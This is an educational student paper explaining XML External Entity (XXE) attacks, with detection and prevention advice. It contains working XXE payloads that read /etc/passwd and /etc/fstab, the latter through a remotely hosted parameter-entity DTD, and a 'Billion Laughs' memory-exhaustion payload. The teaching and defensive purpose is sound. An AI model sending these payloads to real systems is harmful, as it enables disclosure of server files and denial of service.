A Guide to XML eXternal Entity Processing

Rachel Hogue

Tufts University

Comp 116: Introduction to Computer Security

Mentor: Ming Chow

Fall 2015

Abstract

The eXtensible Markup Language (XML), a format for storing and communicating data, is a ubiquitous technology that is used by a myriad of software projects. XML's popularity has led to an increase in the discovery and reporting of XML eXternal Entity (XXE) attacks, which exploit a critical security vulnerability that can be found in web applications that parse XML input. XML documents can contain structures called entities that can access local or remote content. Utilizing these entities, ill-intentioned users can send malicious content to susceptible XML parsers. While many developers have never even heard of XXE processing, a well-executed attack can be devastating, with consequences such as the exposure of confidential information, denials of service, and other undesirable impacts. This paper provides an overview of XXE processing and examples of specific XXE attacks, followed by the presentation of several methods to detect and to prevent exploitation of this vulnerability.

Introduction

XML External Entity (XXE) attacks can be devastating to victims, with results that can include the exposure of sensitive information and denial of service. These attacks have increasingly been found and reported in major web applications such as Facebook and Google, but few developers even know they are at risk [1 & 2]. Accordingly, this paper will serve as an educational resource for those wishing to learn about XXE attacks. As a supplement to this paper, all of the examples in the text can be found on GitHub, at https://github.com/hoguer/xxe_play. Please play responsibly.

To the Community

Even though XXE attacks occur as far back as 1992, predating SQL injection, cross-site scripting, and CSRF attacks, this XML vulnerability still has not received the attention that it deserves [3]. As it is incredibly flexible, XML is used in a broad variety of software applications. The hundreds of document formats using XML syntax include communication protocols, such as XMPP, configuration files, such as those used in Microsoft .NET Framework, document formats, such as PDF, RSS, and ODF, image formats, such as SVG and EXIF headers, and countless other formats. In an interesting twist, many XML parsers are vulnerable by their default

configuration. Since XXE attacks are being reported more frequently, this paper intends to mitigate the lack of awareness about this vulnerability and ways to defend against it.

Overview of XML and XXE Processing

An XML external entity attack is an attack against an application that parses XML. XML, eXtensible Markup Language, is a text-based format used to store and transport data. Here is a simple example of data that might appear in an XML document [4]:

Example 1.0

```
<message font="Times New Roman">
        <text>Hello, World!</text>
</message>
```

In this example, message and text are elements, while font is an attribute. As is seen in the example, elements can contain text, attributes, and other elements. The user can define the elements and attributes that are considered acceptable for XML inputs in an XML Schema. These constraints are typically prescribed in a Document Type Definition (DTD) or an XML Schema Definition (XSD). Here is an example of an inline DTD for the above XML example:

Example 1.1

```
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE message [
<!ELEMENT message (text)>
<!ATTLIST message font CDATA "Arial">
<!ELEMENT text (#PCDATA)>
]>
<message font="Times New Roman">
        <text>Hello, World!</text>
</message>
```

Note that PCDATA is character data that will be parsed, while CDATA is character data that will not be parsed. "Arial" is the default value for font.

Now, this example will be expanded to present XML entities. An XML entity can be either internal or external, and an entity can be either a general entity or a parameter entity. An internal

XML entity generally references a string. Using Example 1, the text value, "Hello, World!" has been placed in an internal entity below. References to general entities in the XML begin with an ampersand (&) and end with a semicolon (;):

Example 1.2

```
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE message [
<!ELEMENT message (text)>
<!ATTLIST message font CDATA "Arial">
<!ELEMENT text (#PCDATA)>
<!ENTITY hw "Hello, World!">
]>
<message font="Times New Roman">
        <text>&hw;</text>
</message>
```

An external XML entity accesses local or remote content. They are useful for reusing a common reference between multiple documents. External entities that are identified by the keyword SYSTEM are typically considered private and intended to be used by few people, while external entities that are identified by the keyword PUBLIC are considered public and are intended to be used by many. Here is an example of a private external entity [5]:

Example 1.3

```
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE message [
<!ELEMENT message (text)>
<!ATTLIST message font CDATA "Arial">
<!ELEMENT text (#PCDATA)>
<!ENTITY hw SYSTEM
"https://raw.githubusercontent.com/hoguer/xxe_play/master/helloworld.txt">
]>
<message font="Times New Roman">
        <text>&hw;</text>
</message>
```

The entities presented so far are general entities. Another type of entity is called a parameter entity, which may be used only within a DTD itself. Consider the following, where message-element is a regular parameter entity, and message-attr is an external parameter entity. Note that references to parameter entities begin with a percent symbol (%) and end with a semicolon (;):

Example 1.4

```
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE message [
<!ENTITY % message-element "<!ELEMENT message (text)>">
<!ENTITY % message-attr SYSTEM
"https://raw.githubusercontent.com/hoguer/xxe_play/master/message-attr.txt">
%message-element;
%message-attr;
<!ELEMENT text (#PCDATA)>
]>
<message font="Times New Roman">
        <text>Hello, World!</text>
</message>
```

Well-known XXE Attacks

Inline Retrieval.

Now that a general overview of XML and XML entities has been presented, a detailed explanation of several specific attacks techniques will be given, beginning with inline retrieval. The goal of this exploit is to access sensitive content. In order for the attacker to be successful, the application must give data back. The XML below, when sent to a vulnerable parser, will display the contents of /etc/passwd:

Example 2.0

```
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE message [
<!ELEMENT message (text)>
<!ELEMENT text (#PCDATA)>
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<message>
        <text>&xxe;</text>
</message>
```

In order to use this method, retrieved documents have to be well-formed XML, without any stray "<", ">", or "&" symbols. One file that would not display due to parse errors is /etc/fstab, which contains these special XML tag symbols:

Even a poorly configured XML parser will not reveal the contents of /etc/fstab if it is passed this XML:

Example 3.0

```
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE message [
<!ELEMENT message (text)>
<!ELEMENT text (#PCDATA)>
<!ENTITY xxe SYSTEM "file:///etc/fstab">
]>
<message>
        <text>&xxe;</text>
</message>
```

However, this special character issue can be circumvented by using parameter entities and CDATA. By wrapping the file content in a CDATA escape, the content does not need to conform to XML syntax when it is evaluated:

Example 3.1

```
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE message [
<!ELEMENT message (text)>
<!ELEMENT text (#PCDATA)>
<!ENTITY % start "<![CDATA[">
<!ENTITY % middle SYSTEM "file:///etc/fstab">
<!ENTITY % end "]]>">
<!ENTITY % exe SYSTEM
"https://raw.githubusercontent.com/hoguer/xxe_play/master/combo.txt">
%exe;
]>
<message>
        <text>&combo;</text>
</message>
```

The contents of combo.txt look like this:

combo.txt

```
<!ENTITY combo "%start;%middle;%end;">
```

Denial of Service

Another common XXE attack consumes considerable amounts of memory to render a machine unavailable to its intended users. XXE can be used in many ways to conduct a denial of service (DoS) attack. One well-known method— variations of which have been called “Billion Laughs”, “XML Bomb”, “Exponential Entity Expansion”, and “Quadratic Blowup”— uses string substitution in XML entities, as is demonstrated in Example 4.0 [6]:

Example 4.0

```
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE message [
<!ELEMENT message (text)>
<!ELEMENT text (#PCDATA)>
<!ENTITY hw "Hello, World!">
<!ENTITY hw2 "&hw;&hw;&hw;&hw;&hw;&hw;&hw;&hw;&hw;&hw;">
<!ENTITY hw3 "&hw2;&hw2;&hw2;&hw2;&hw2;&hw2;&hw2;&hw2;&hw2;&hw2;">
<!ENTITY hw4 "&hw3;&hw3;&hw3;&hw3;&hw3;&hw3;&hw3;&hw3;&hw3;&hw3;">
<!ENTITY hw5 "&hw4;&hw4;&hw4;&hw4;&hw4;&hw4;&hw4;&hw4;&hw4;&hw4;">
<!ENTITY hw6 "&hw5;&hw5;&hw5;&hw5;&hw5;&hw5;&hw5;&hw5;&hw5;&hw5;">
<!ENTITY hw7 "&hw6;&hw6;&hw6;&hw6;&hw6;&hw6;&hw6;&hw6;&hw6;&hw6;">
<!ENTITY hw8 "&hw7;&hw7;&hw7;&hw7;&hw7;&hw7;&hw7;&hw7;&hw7;&hw7;">
<!ENTITY hw9 "&hw8;&hw8;&hw8;&hw8;&hw8;&hw8;&hw8;&hw8;&hw8;&hw8;">
]>
<message>
<text>&hw9;</text>
</message>
```

When this XML is loaded by a parser, it will expand hw9 to ten hw8 entities. It will then expand each of those hw8 entities to contain ten hw7 entities, and so on and so forth until it reaches the hw entity. The result is that a less than 1KB block of XML can consume almost 3GB of memory. Other DoS attacks that can be conducted using XXE include sending the parser to a resource that never returns or writing a huge amount of data to the response stream, such as a large video file. In the latter case, the attacker can avoid implicating themselves by pointing the entity to a third party file download.

Detecting XXE Attacks

The attacks discussed so far, which expose confidential information and causing a denial of service, are a few of the more common XXE attacks which have been reported by high-profile companies. In accordance with the lack of knowledge about XXE attacks, tools for pentesting and detecting XXE vulnerabilities are also limited. Burp Suite Professional is one of the few existing tools; Burp Suite checks whether or not file contents can be exposed through entities. It can also determine whether or not external entities are enabled by checking whether interaction with a remote URL specified in an external entity occurs [7].

If an XML parser is intentionally configured to allow inline DTDs and external entities, determining when an XXE attack is actually occurring is difficult, as detection will likely include many false positives. One possibility is to use the string "<!DOCTYPE" to trigger an alert in an intrusion detection system (IDS). Instead of configuring the XML parser to disallow inline DTDs and entities, IDS can also be used to actively block such traffic. Additionally, if the web server logs incoming XML, log analysis tools such as Splunk can be used to detect XXE attacks [8]. Other preventative measures include setting a request timeout for resolving external entities, limiting the size of expanded entities, and restricting the resources that an XML parser can access on the local host.

Conclusion

As XML is a ubiquitous technology used in countless software projects, any XML security issue has a significant impact. Even so, despite its widespread use, there exists a general lack of awareness about XML security concerns, particularly XML external entity vulnerabilities. With a large number of XML parsers vulnerable by their default configuration, developers need to take proper precautions to deter malicious attackers and to prevent unintentional dissemination of information. Indeed, though XML entities help to reduce repetition, if entities, external entities, and inline DTDs are not necessary, they should all be disallowed. XML is incredibly useful and flexible; hopefully this paper will serve as a useful introduction to XXE and techniques to minimize this XML security risk.

References

[1] Facebook Bug Bounty. (2014). Retrieved December 12, 2015, from facebook.com: https://www.facebook.com/BugBounty/posts/778897822124446

[2] Almroth, Fredrik Nordberg and Karlsson, Mathias. (2014). "How we got read access on Google's production servers." Retrieved December 12, 2015 from detectify.com: http://blog.detectify.com/post/82370846588/how-we-got-read-access-on-googles-production

[3] Sullivan, Bryan. (2009). "Security Briefs – XML Denial of Service Attacks and Defenses." Retrieved December 12, 2015, from Microsoft.com: https://msdn.microsoft.com/en-us/magazine/ee335713.aspx

[4] "Extensible Markup Language (XML) 1.0". (2008). Retrieved December 12, 2015, from w3.org: http://www.w3.org/TR/REC-xml

[5] XML External Entity (XXE) Processing. (2015). Retrieved December 12, 2015, from owasp.org: https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing

[6] Morgan, Timothy D. and Ibrahim, Omar Al. "XML Schema, DTD, and Entity Attacks. A Compendium of Known Techniques." (2014). Retrieved December 12, 2015, from vsecurity.com: http://www.vsecurity.com/download/papers/XMLDTDEntityAttacks.pdf

[7] Stuttard, Dafydd. "Burp Suite now reports blind XXE injection." (2015). Retrieved December 12, 2015, from portswigger.net: http://blog.portswigger.net/2015/05/burp-suite-now-reports-blind-xxe.html

[8] Roberts, Carrie. (2013). "Discovering Security Events of Interest Using Splunk." Retrieved December 12, 2015, from sans.org: https://www.sans.org/reading-room/whitepapers/logging/discovering-securityevents-interest-splunk-34272